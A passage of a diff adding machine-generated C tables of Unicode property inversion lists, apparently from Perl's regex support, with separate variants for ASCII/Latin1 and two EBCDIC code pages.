+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2E00,
+	0x2E4A,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3005,
+	0x3006,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3038,
+	0x303C,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FD,
+	0x3190,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3220,
+	0x3260,
+	0x327F,
+	0x32D0,
+	0x3358,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA830,
+	0xA83A,
+	0xA92E,
+	0xA92F,
+	0xA9CF,
+	0xA9D0,
+	0xAB5B,
+	0xAB5C,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FD,
+	0x102E1,
+	0x102FC,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 1047 */
+	354,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x589,
+	0x58A,
+	0x605,
+	0x606,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x640,
+	0x641,
+	0x6DD,
+	0x6DE,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0xE3F,
+	0xE40,
+	0xFD5,
+	0xFD9,
+	0x10FB,
+	0x10FC,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x1802,
+	0x1804,
+	0x1805,
+	0x1806,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2E00,
+	0x2E4A,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3005,
+	0x3006,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3038,
+	0x303C,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FD,
+	0x3190,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3220,
+	0x3260,
+	0x327F,
+	0x32D0,
+	0x3358,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA830,
+	0xA83A,
+	0xA92E,
+	0xA92F,
+	0xA9CF,
+	0xA9D0,
+	0xAB5B,
+	0xAB5C,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FD,
+	0x102E1,
+	0x102FC,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 037 */
+	350,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x589,
+	0x58A,
+	0x605,
+	0x606,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x640,
+	0x641,
+	0x6DD,
+	0x6DE,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0xE3F,
+	0xE40,
+	0xFD5,
+	0xFD9,
+	0x10FB,
+	0x10FC,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x1802,
+	0x1804,
+	0x1805,
+	0x1806,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2E00,
+	0x2E4A,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3005,
+	0x3006,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3038,
+	0x303C,
+	0x3040,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FD,
+	0x3190,
+	0x31A0,
+	0x31C0,
+	0x31E4,
+	0x3220,
+	0x3260,
+	0x327F,
+	0x32D0,
+	0x3358,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA830,
+	0xA83A,
+	0xA92E,
+	0xA92F,
+	0xA9CF,
+	0xA9D0,
+	0xAB5B,
+	0xAB5C,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FD,
+	0x102E1,
+	0x102FC,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SD_invlist[] = { /* for ASCII/Latin1 */
+	63,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x69,
+	0x6B,
+	0x12F,
+	0x130,
+	0x249,
+	0x24A,
+	0x268,
+	0x269,
+	0x29D,
+	0x29E,
+	0x2B2,
+	0x2B3,
+	0x3F3,
+	0x3F4,
+	0x456,
+	0x457,
+	0x458,
+	0x459,
+	0x1D62,
+	0x1D63,
+	0x1D96,
+	0x1D97,
+	0x1DA4,
+	0x1DA5,
+	0x1DA8,
+	0x1DA9,
+	0x1E2D,
+	0x1E2E,
+	0x1ECB,
+	0x1ECC,
+	0x2071,
+	0x2072,
+	0x2148,
+	0x214A,
+	0x2C7C,
+	0x2C7D,
+	0x1D422,
+	0x1D424,
+	0x1D456,
+	0x1D458,
+	0x1D48A,
+	0x1D48C,
+	0x1D4BE,
+	0x1D4C0,
+	0x1D4F2,
+	0x1D4F4,
+	0x1D526,
+	0x1D528,
+	0x1D55A,
+	0x1D55C,
+	0x1D58E,
+	0x1D590,
+	0x1D5C2,
+	0x1D5C4,
+	0x1D5F6,
+	0x1D5F8,
+	0x1D62A,
+	0x1D62C,
+	0x1D65E,
+	0x1D660,
+	0x1D692,
+	0x1D694
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SD_invlist[] = { /* for EBCDIC 1047 */
+	65,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x89,
+	0x8A,
+	0x91,
+	0x92,
+	0x12F,
+	0x130,
+	0x249,
+	0x24A,
+	0x268,
+	0x269,
+	0x29D,
+	0x29E,
+	0x2B2,
+	0x2B3,
+	0x3F3,
+	0x3F4,
+	0x456,
+	0x457,
+	0x458,
+	0x459,
+	0x1D62,
+	0x1D63,
+	0x1D96,
+	0x1D97,
+	0x1DA4,
+	0x1DA5,
+	0x1DA8,
+	0x1DA9,
+	0x1E2D,
+	0x1E2E,
+	0x1ECB,
+	0x1ECC,
+	0x2071,
+	0x2072,
+	0x2148,
+	0x214A,
+	0x2C7C,
+	0x2C7D,
+	0x1D422,
+	0x1D424,
+	0x1D456,
+	0x1D458,
+	0x1D48A,
+	0x1D48C,
+	0x1D4BE,
+	0x1D4C0,
+	0x1D4F2,
+	0x1D4F4,
+	0x1D526,
+	0x1D528,
+	0x1D55A,
+	0x1D55C,
+	0x1D58E,
+	0x1D590,
+	0x1D5C2,
+	0x1D5C4,
+	0x1D5F6,
+	0x1D5F8,
+	0x1D62A,
+	0x1D62C,
+	0x1D65E,
+	0x1D660,
+	0x1D692,
+	0x1D694
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SD_invlist[] = { /* for EBCDIC 037 */
+	65,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x89,
+	0x8A,
+	0x91,
+	0x92,
+	0x12F,
+	0x130,
+	0x249,
+	0x24A,
+	0x268,
+	0x269,
+	0x29D,
+	0x29E,
+	0x2B2,
+	0x2B3,
+	0x3F3,
+	0x3F4,
+	0x456,
+	0x457,
+	0x458,
+	0x459,
+	0x1D62,
+	0x1D63,
+	0x1D96,
+	0x1D97,
+	0x1DA4,
+	0x1DA5,
+	0x1DA8,
+	0x1DA9,
+	0x1E2D,
+	0x1E2E,
+	0x1ECB,
+	0x1ECC,
+	0x2071,
+	0x2072,
+	0x2148,
+	0x214A,
+	0x2C7C,
+	0x2C7D,
+	0x1D422,
+	0x1D424,
+	0x1D456,
+	0x1D458,
+	0x1D48A,
+	0x1D48C,
+	0x1D4BE,
+	0x1D4C0,
+	0x1D4F2,
+	0x1D4F4,
+	0x1D526,
+	0x1D528,
+	0x1D55A,
+	0x1D55C,
+	0x1D58E,
+	0x1D590,
+	0x1D5C2,
+	0x1D5C4,
+	0x1D5F6,
+	0x1D5F8,
+	0x1D62A,
+	0x1D62C,
+	0x1D65E,
+	0x1D660,
+	0x1D692,
+	0x1D694
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SGNW_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D800,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0
+};
+
+static const UV PL_SHAW_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10450,
+	0x10480
+};
+
+static const UV PL_SHORTHANDFORMATCONTROLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1BCA0,
+	0x1BCB0
+};
+
+static const UV PL_SHRD_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x952,
+	0x1CD7,
+	0x1CD8,
+	0x1CD9,
+	0x1CDA,
+	0x1CDC,
+	0x1CDE,
+	0x1CE0,
+	0x1CE1,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0
+};
+
+static const UV PL_SIDD_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE
+};
+
+static const UV PL_SIND_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x964,
+	0x966,
+	0xA830,
+	0xA83A,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA
+};
+
+static const UV PL_SINH_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x964,
+	0x966,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0x111E1,
+	0x111F5
+};
+
+static const UV PL_SINHALAARCHAICNUMBERS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x111E0,
+	0x11200
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SK_invlist[] = { /* for ASCII/Latin1 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5E,
+	0x5F,
+	0x60,
+	0x61,
+	0xA8,
+	0xA9,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB5,
+	0xB8,
+	0xB9,
 	0x2C2,
 	0x2C6,
 	0x2D2,
@@ -86868,9 +347458,5916 @@
 	0x2ED,
 	0x2EE,
 	0x2EF,
-	0x345,
-	0x346,
+	0x300,
+	0x375,
+	0x376,
+	0x384,
+	0x386,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x309B,
+	0x309D,
+	0xA700,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xAB5B,
+	0xAB5C,
+	0xFBB2,
+	0xFBC2,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFFE3,
+	0xFFE4,
+	0x1F3FB,
+	0x1F400
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SK_invlist[] = { /* for EBCDIC 1047 */
+	57,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5F,
+	0x60,
+	0x79,
+	0x7A,
+	0x9D,
+	0x9E,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xBF,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x384,
+	0x386,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x309B,
+	0x309D,
+	0xA700,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xAB5B,
+	0xAB5C,
+	0xFBB2,
+	0xFBC2,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFFE3,
+	0xFFE4,
+	0x1F3FB,
+	0x1F400
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SK_invlist[] = { /* for EBCDIC 037 */
+	55,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x79,
+	0x7A,
+	0x9D,
+	0x9E,
+	0xB0,
+	0xB1,
+	0xBC,
+	0xBF,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x384,
+	0x386,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
